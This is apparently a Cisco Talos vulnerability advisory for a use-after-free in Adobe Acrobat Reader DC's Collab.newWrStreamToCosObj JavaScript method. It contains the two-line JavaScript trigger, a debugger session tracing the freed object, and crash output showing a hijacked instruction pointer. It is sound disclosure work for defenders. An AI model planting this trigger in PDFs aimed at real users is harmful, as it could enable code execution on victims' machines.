Talos Vulnerability Report


Adobe Acrobat Reader DC Collab newWrStreamToCosObj Remote Code Execution Vulnerability

July 10, 2018
CVE Number



A specific JavaScript code embedded in a PDF file can lead to an object type confusion when opening a PDF document in Adobe Acrobat Reader DC 2018.011.20038. With careful memory manipulation, this can lead to arbitrary code execution. In order to trigger this vulnerability, the victim would need to open the malicious file or access a malicious web page.

Tested Versions

Adobe Acrobat Reader DC 2018.011.20038

Product URLs


CVSSv3 Score

6.8 - CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H


CWE-416: Use After Free


Adobe Acrobat Reader is the most popular and most feature-rich PDF reader. It has a large user base, is usually a default PDF reader on systems and integrates into web browsers as a plugin for rendering PDFs. As such, tricking a user into visiting a malicious web page or sending a specially crafted email attachment can be enough to trigger this vulnerability. The one method call required to trigger this vulnerability is privileged, and can only be called from trusted functions or from a trusted location.

Adobe Acrobat Reader DC supports embedded JavaScript code in the PDF to allow for interactive PDF forms. This gives the potential attacker the ability to precisely control memory layout, and poses an additional attack surface.

While executing the following piece of code, a cache misuse can lead to a dereference of a previously freed object which can cause further memory corruption:

var ret = this.Collab.newWrStreamToCosObj(); 
var a = ret; 

During a call to getInitiatorSource an object allocated due to previous call to newWrStreamToCosObj is freed and reused due to the way Acrobat’s JavaScript engine handles caching. In a debugging session we can see the following:

Breakpoint 1 hit
eax=0015ee6c ebx=00000000 ecx=573f9e10 edx=b4da969e esi=054b3c80 edi=054b3c80
eip=573f9d38 esp=0015eebc ebp=0015eec4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
573f9d38 e8e15ef7ff      call    AcroRd32!AcroWinMainSandbox+0x5c9a (5736fc1e)
0:000> u eip-5
573f9d33 85f6            test    esi,esi
573f9d35 7407            je      AcroRd32!CTJPEGWriter::CTJPEGWriter+0x27e2d (573f9d3e)
573f9d37 56              push    esi
573f9d38 e8e15ef7ff      call    AcroRd32!AcroWinMainSandbox+0x5c9a (5736fc1e)
573f9d3d 59              pop     ecx
573f9d3e 8bc6            mov     eax,esi
573f9d40 5e              pop     esi
573f9d41 5d              pop     ebp
0:000> dd esi
054b3c80  581ce8e4 00000000 00001000 00000000
054b3c90  00000000 00000042 58253f14 00000000
054b3ca0  00000000 00000002 00000000 00000005
054b3cb0  00000005 00000000 00000000 00000000
054b3cc0  00000000 00000000 00000000 00000000
054b3cd0  00000000 00000000 00001000 00000000
054b3ce0  581ee640 05438548 05438548 00000000
054b3cf0  1ef9b317 8e000000 00720075 003a006e
0:000> !heap -p -a esi
    address 054b3c80 found in
    _HEAP @ 160000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        054b3c78 000f 0000  [00]   054b3c80    00070 - (busy)
          ? AcroRd32!PDMediaQuerySetMediaType+1551a4

0:000> be 2 
0:000> g
Breakpoint 2 hit
eax=054b3c88 ebx=00000001 ecx=5653f322 edx=045bba00 esi=05725890 edi=054b3c88
eip=57388779 esp=0015ef24 ebp=0015ef28 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202
57388779 8b4810          mov     ecx,dword ptr [eax+10h] ds:0023:054b3c98=58253f14
0:000> dd eax 
054b3c88  00001000 00000000 00000000 00000042
054b3c98  58253f14 00000000 00000000 00000002
054b3ca8  00000000 00000005 00000005 00000000
054b3cb8  00000000 00000000 00000000 00000000
054b3cc8  00000000 00000000 00000000 00000000
054b3cd8  00001000 00000000 581ee640 05438548
054b3ce8  05438548 00000000 1ef9b317 8e000000
054b3cf8  00720075 003a006e 002f002f 0073006e
0:000> !heap -p -a eax 
    address 054b3c88 found in
    _HEAP @ 160000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        054b3c78 000f 0000  [00]   054b3c80    00070 - (free)

Breakpoint 1 is set on a call that frees the object in question. We can see that the pointer in esi points to an allocated object of size 0x70 at address 0x054b3c80. Breakpoint 2 is then enabled and set at the time of first invalid dereference of the object (the first use-after-free). When the second breakpoint is reached, we can see that the object pointed to by eax is now free, and that it points to the same memory area as esi at the previous breakpoint. If we examine the code immediately following the second breakpoint, we can see the following:

0:000> u 
57388779 8b4810          mov     ecx,dword ptr [eax+10h]
5738877c ff5118          call    dword ptr [ecx+18h]
5738877f 59              pop     ecx
57388780 5d              pop     ebp
57388781 c3              ret

Since we know that eax points to freed memory, with careful memory layout control we could gain control over contents of ecx which is then used in a call which would lead to arbitrary code execution. The pointer to the object in eax is retrieved by previously consulting EScript.api hashcache methods.

Crash Information

Continuing the execution from the above breakpoint:

0:000> g
(15e4.ccc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=581c03c2 ebx=00000000 ecx=054b3c80 edx=045bba00 esi=054b3c80 edi=054b3c80
eip=8d8dff80 esp=0015eed8 ebp=0015eeec iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206
8d8dff80 ??              ???
0:000> k
 # ChildEBP RetAddr  
WARNING: Frame IP not in any known module. Following frames may be wrong.
00 0015eed4 5763abd7 0x8d8dff80
01 0015eeec 573887cf AcroRd32!CTJPEGLibTerminate+0x17a77
02 0015ef1c 5738877f AcroRd32!AcroWinMainSandbox+0x1e84b
03 0015ef28 566e22ae AcroRd32!AcroWinMainSandbox+0x1e7fb
04 0015ef60 6112b40e Annots!PlugInMain+0x1ee3ad


2018-05-08 - Vendor Disclosure
2018-07-10 - Public Release


Discovered by Aleksandar Nikolic of Cisco Talos.